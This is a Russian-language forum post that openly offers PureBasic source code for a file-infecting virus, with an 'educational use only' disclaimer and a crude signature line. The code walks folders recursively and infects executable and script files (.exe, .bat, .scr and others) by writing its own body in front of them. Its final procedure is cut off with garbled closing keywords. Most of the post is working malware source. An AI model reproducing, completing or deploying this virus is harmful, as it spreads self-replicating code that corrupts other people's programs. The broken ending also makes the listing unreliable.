| Чеботарь | Дата: Суббота, 03.09.2016, 23:09 | Сообщение # 1 |  
 
 
 
Новичок 
Зарегистрирован: 03.09.2016
 
 
Группа: Пользователи 
Сообщений: 3 
Статус: Offline 
 
 | Код ;*************************************************************************************************** ;* Исходник файлового вируса, написанный на языке PureBasic. Для компиляции в среде PureBasic 5.30.  ;* Поведение: вирус ищет и заражает исполняемые файлы, дописывая к ним свой код.                          ;* Внимание! Программа, скомпилированная из данного исходника, может представлять опасность! ;* Автор не несет ответственности за Ваши действия. Разрешено использование только в учебных целях. ;***************************************************************************************************   EnableExplicit   #vsize=16384  ;размер тела вируса, в байтах зависит от версии компилятора.  ;Должно точно соответствовать размеру скомпилированного файла. ;Чтобы уточнить, скомпилируйте и посмотрите, сколько у Вас будет весить файл.   Global *mem,progname.s,progpath.s   Procedure InfectFile(filename.s)   ;Простой метод заражения в заголовок (вирус скидывает заражаемый файл в свой оверлей)     Define hfile,fsize,*ptr   hfile=OpenFile(#PB_Any,filename)   If hfile      fsize=Lof(hfile)     If fsize < #vsize Or fsize > 5000000:CloseFile(hfile):ProcedureReturn:EndIf     *ptr=AllocateMemory(fsize)     ReadData(hfile,*ptr, fsize)     FileSeek(hfile,0)     TruncateFile(hfile)     WriteData(hfile,*mem,#vsize)     FileSeek(hfile,#vsize)     WriteData(hfile,*ptr,fsize)     CloseFile(hfile)   EndIf EndProcedure   Procedure Infect(path.s)   Define finddata.WIN32_FIND_DATA,hFind.l   Define.s fname, ext   If Right(path,1) <> "\":path+"\":EndIf   hfind=FindFirstFile_(path+"*.*",@finddata)   If hfind <> -1     Repeat       fname=PeekS(@finddata\cFileName)       If (fname <> ".") And (fname <> "..")         fname=LCase(path+fname)         If fname=LCase(progpath):Continue:EndIf         If finddata\dwFileAttributes | #FILE_ATTRIBUTE_DIRECTORY <> #FILE_ATTRIBUTE_DIRECTORY           ext=LCase(GetExtensionPart(fname))           If (ext="exe") Or (ext="pif") Or (ext="cmd") Or (ext="bat") Or (ext="scr")             infectFile(fname)           EndIf         Else           Infect(fname)         EndIf       EndIf     Until Not FindNextFile_(hfind,@finddata)   EndIf    EndProcedure   Procedure Main()       Define.s tmppath   Define.l msize,hfile   Define PI.PROCESS_INFORMATION   Define SI.STARTUPINFO   Define *ptr   progname=ProgramFilename()      progpath=GetPathPart(progname)   If Right(progpath,1) <> "\":progpath+"\":EndIf      tmppath=RSet(tmppath,300)   tmppath=Left(tmppath, GetTempPath_(300,@tmppath))   If Right(tmppath,1) <> "\":tmppath+"\":EndIf   tmppath+Str(Random(100000))+Str(Random(100000))+Str(Random(100000))+Str(Random(100))   *mem=AllocateMemory(1)   hfile=ReadFile(#PB_Any,progname)   If hfile     msize=Lof(hfile)     If msize < #vsize       CloseFile(hfile)       End     Else       *mem=ReAllocateMemory(*mem,#vsize)       ReadData(hfile,*mem,#vsize)       If msize=#vsize         Infect(progpath)       Else         msize=msize-#vsize         *ptr=AllocateMemory(msize)         FileSeek(hfile,#vsize)         ReadData(hfile,*ptr,msize)         CloseFile(hfile)         If MoveFile_(progname,tmppath)           hfile=CreateFile(#PB_Any,progname)           If hfile             WriteData(hfile,*ptr,msize)             CloseFile(hfile)           EndIf           FreeMemory(*ptr)        endif endif   endprocedure  
  Делаю минеты
 |  
|   | 
 |    |